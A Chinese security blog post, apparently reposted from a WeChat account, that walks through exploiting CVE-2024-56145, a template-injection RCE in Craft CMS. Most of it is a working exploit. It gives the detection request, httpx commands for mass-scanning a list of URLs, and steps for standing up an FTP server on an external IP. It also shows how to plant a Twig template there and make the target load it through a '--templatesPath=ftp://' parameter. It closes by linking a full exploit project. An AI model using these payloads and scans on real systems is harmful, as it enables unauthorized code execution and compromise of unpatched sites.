【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

admin 2024年12月22日01:43:41评论78 views字数 1704阅读5分40秒阅读模式

绪论

如果各位师傅觉得有用的话,可以给我点个关注~~ 如果师傅们有什么好的建议也欢迎联系我~~ 感谢各位师傅的支持~~

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

正文部分

漏洞详情

Craft 是一种灵活、用户友好的 CMS,用于在 Web 及其他方面创建自定义数字体验。如果受影响版本的用户php.ini配置启用了“register_argc_argv”,则其用户会受到此漏洞的影响。对于这些用户,存在未指定的远程代码执行向量。建议用户更新到版本 3.9.14、4.13.2 或 5.5.2。无法升级的用户应禁用“register_argc_argv”以缓解此问题。

漏洞原理

原作者的分析详情:

https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms

本质上是一个模板注入,通过请求ftp服务器中的模板,并且进行解析,最终实现RCE

漏洞条件

1. 需要服务器出网,能够正常请求ftp服务

2. php.ini配置启用了“register_argc_argv”

POC汇总

请求1:/?--configPath=/aaa开启ftp服务后,进行请求2请求2:/?--templatesPath=ftp://ftp地址:ftp端口

漏洞探测POC

数据包

https://xxx.xxx.xxx/?--configPath=/aaa
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

使用httpx进行快速验证

httpx.exe -path "/?--configPath=/aaa"-sc -cl -mc 200-l url.txt -m"mkdir()"
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

漏洞EXP

启动ftp服务(使用py快速启动)

1. 安装pyftpdlib

pip install pyftpdlib
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

运行可能会报错 module 'OpenSSL.SSL' has no attribute 'TLS_SERVER_METHOD'

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

安装两个库即可

pip install cryptography==36.0.2pip install pyOpenSSL==22.0.0
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

2. 使用pyftpdlib

python -m pyftpdlib -h
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

快速启动

注意:

-p 表示ftp的启动的端口

-w 表示提供修改权限,默认只读

-d 设置目录,默认就是当前目录

-n 设置外网ip,没有只能127.0.0.1访问!!

-u 可以设置用户名

-P 可以设置密码

不设置账户密码,就可以直接匿名访问

python -m pyftpdlib -6666--189.204.186.73-u admin -P admin

测试FTP连接

ftp访问地址

ftp://username:password@hostname:port

有账户密码:ftp://admin:admin@189.204.186.73:6666无账户密码:ftp://189.204.186.73:6666

新版的edge无法直接访问ftp的连接,要用老版的IE,只需要在浏览器中进行设置即可

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

使用文件夹访问也可以

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

创建EXP

在ftp开启目录创建一个default文件夹

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

再再default文件中创建一个index.html

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)  

index.html

<html><body>hello world {{ 7*7 }}</body></html>

访问EXP

/?--templatesPath=ftp://ftp地址:ftp端口

{{ 7*7}} 被正常解析

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

ftp收到数据

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

httpx快速验证

注意:在开启ftp服务的情况下运行

httpx.exe -path"/?--templatesPath=ftp://189.204.186.73:6666/"-sc-cl-mc200-l url.txt -ms"hello world 49"
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

复现的问题

如果发现页面报错server Error,并且FTP没有响应,可能是网站不出网,无法请求到FTP服务器

【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

成熟的EXP项目

https://github.com/Chocapikk/CVE-2024-56145/tree/main
【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

知识星球

原文始发于微信公众号(fkalis):【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月22日01:43:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)https://cn-sec.com/archives/3538234.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息